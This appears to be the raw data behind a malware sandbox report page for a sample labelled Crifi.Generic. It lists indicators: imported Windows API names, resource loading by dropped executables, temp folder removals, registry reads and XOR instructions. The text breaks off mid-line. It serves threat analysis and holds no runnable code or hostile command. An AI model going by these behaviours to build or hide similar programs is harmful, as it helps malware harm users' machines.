26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 95:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T47d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample 58cbf1508475… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 58cbf1508475…. Malware family: Crifi.Generic. Threat score 100/100. 11/25 AV engines flagged this file. 33 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":11,"total":25},"behavioralIndicators":{"malicious":33,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T25c4,Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileA"; Source: "sample.bin"), Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "MulDiv"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "FreeSid"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDriveTypeA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "EqualSid"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "DecryptFileA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDesktopWindow"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "SendMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "VerQueryValueA"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "CreateMutexA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CheckTokenMembership"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathA"; Source: "sample.bin"), Found reference to API (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateThread"; Source: "sample.bin"), Found reference to API (Indicator: "FreeResource"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpA"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "sample.bin"), Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVolumeInformationA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxA"; Source: "sample.bin"), Found reference to API (Indicator: "SHBrowseForFolder"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CharUpperA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteValueA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "CharPrevA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDeviceCaps"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSetInformation"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextA"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "sample.bin"), Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventA"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringA"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "LoadStringA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessA"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetPathFromIDList"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBeep"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "CallWindowProcA"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "ExitWindowsEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceA"; Source: "sample.bin")28:T489,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindResourceA" with parameter "2822864" - (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindResourceA" with parameter "2822904" - (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindResourceA" with parameter "2822920" - (UID: 00000000-00001380) "gF3mD54.exe" called "FindResourceA" with parameter "587304" - (UID: 00000000-00001884) "gF3mD54.exe" called "FindResourceA" with parameter "15995592" - (UID: 00000000-00001884) "gF3mD54.exe" called "FindResourceA" with parameter "15995600" - (UID: 00000000-00001884) "gF3mD54.exe" called "FindResourceA" with parameter "15995628" - (UID: 00000000-00001884) "gF3mD54.exe" called "FindResourceA" with parameter "15995640" - (UID: 00000000-00001884) "gF3mD54.exe" called "FindResourceA" with parameter "15995656" - (UID: 00000000-00001884) "oi9NR71.exe" called "FindResourceA" with parameter "397944" - (UID: 00000000-00004376) "oi9NR71.exe" called "FindResourceA" with parameter "397952" - (UID: 00000000-00004376)29:Tab2,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2869360'}" (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2869312'}" (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2869264'}" (UID: 00000000-00001380) "gF3mD54.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16042064'}" (UID: 00000000-00001884) "gF3mD54.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16042096'}" (UID: 00000000-00001884) "gF3mD54.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16042080'}" (UID: 00000000-00001884) "gF3mD54.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16042048'}" (UID: 00000000-00001884) "gF3mD54.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16042000'}" (UID: 00000000-00001884) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444544'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444400'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444560'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444448'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444416'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444464'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444512'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444384'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444496'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444528'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444480'}" (UID: 00000000-00004376) "oi9NR71.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '444432'}" (UID: 00000000-00004376) "ZF2zr63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '10864752'}" (UID: 00000000-00003660) "ZF2zr63.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '10864704'}" (UID: 00000000-00003660)2a:T48b,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP\ (UID: 00000000-00001380) "gF3mD54.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP\ (UID: 00000000-00001884) "oi9NR71.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00004376) "oi9NR71.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00004376) "oi9NR71.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00004376) "oi9NR71.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP\ (UID: 00000000-00004376) "ZF2zr63.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP\ (UID: 00000000-00003660) "Cb7yP98.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP\ (UID: 00000000-00003620) "explothe.exe" called "RemoveDirectoryA" with parameter %APPDATA%\006700e5a2ab05 (UID: 00000000-00003888) "6BL1kL7.exe" called "RemoveDirectoryW" with parameter %TEMP%\3246.tmp\3247.tmp\ (UID: 00000000-00003560) "6BL1kL7.exe" called "RemoveDirectoryW" with parameter %TEMP%\3246.tmp (UID: 00000000-00003560)2b:T49f,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "2pQ5650.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "2pQ5650.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00001864.00000000.79325.00BF1000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00001864.00000000.79325.00BF1000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001864.00000000.79330.00C14000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001864.00000000.79330.00C14000.00000002.mdmp")2c:T813,"4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLEAUT") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NETWORKPROVIDER\HWORDER") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG") "4em853cx.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR") "4em853cx.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP") "4em853cx.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION") "4em853cx.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE") "4em853cx.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE") "4em853cx.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION") "4em853cx.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION") "4em853cx.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "4em853cx.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "5nB9ui9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "5nB9ui9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE")2d:T7a4,SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001884-30668-7-00F46F40 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001884-30668-10-00F46CF0 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00004376-31130-7-00066F40 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00004376-31130-10-00066CF0 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003660-31535-7-00A56F40 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003660-31535-10-00A56CF0 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001864-33044-46-00BF1A43 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001864-33044-70-00BF7653 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001864-33044-120-00BF15B5 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001864-33044-1823-00BF1748 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001520-34373-47-00995DFD SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001520-34373-49-00996C62 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001520-34373-846-00993D4B SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001520-34373-2920-009DB383 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003232-36826-751-00B05DFD SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003232-36826-753-00B06C62 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003232-36826-1550-00B03D4B SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003232-36826-3624-00B4B383 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002000-39627-34-003C8738 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002000-39627-35-003C499C SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002000-39627-652-003C4410 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002000-39627-1307-003C4575 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003560-57519-127-00409950 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003560-57519-128-004099302e:T131e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-15-00F41F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-15-00F41F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-16-00F444B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-16-00F444B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-22-00F4681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-22-00F4681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-26-00F424E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-26-00F424E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-29-00F452B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-29-00F452B6 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00001884-30668-31-00F42390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00001884-30668-31-00F42390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-33-00F42F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-33-00F42F1D Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00001884-30668-36-00F43BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00001884-30668-36-00F43BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-37-00F43FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-37-00F43FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-40-00F42267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-40-00F42267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-41-00F46495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-41-00F46495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-42-00F4202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00001884-30668-42-00F4202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-42-00F4202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-43-00F41AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-43-00F41AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-44-00F42AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-44-00F42AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-52-00F44EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-52-00F44EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-57-00F46298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-57-00F46298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-59-00F4621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-59-00F4621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-60-00F4597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-60-00F4597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-62-00F455A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-62-00F455A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-63-00F45467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-63-00F45467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-65-00F453A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-65-00F453A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-66-00F42630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-66-00F42630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-71-00F42CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-71-00F42CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-72-00F418A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-72-00F418A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-30668-73-00F417EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-30668-73-00F417EE2f:T35f0,Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET 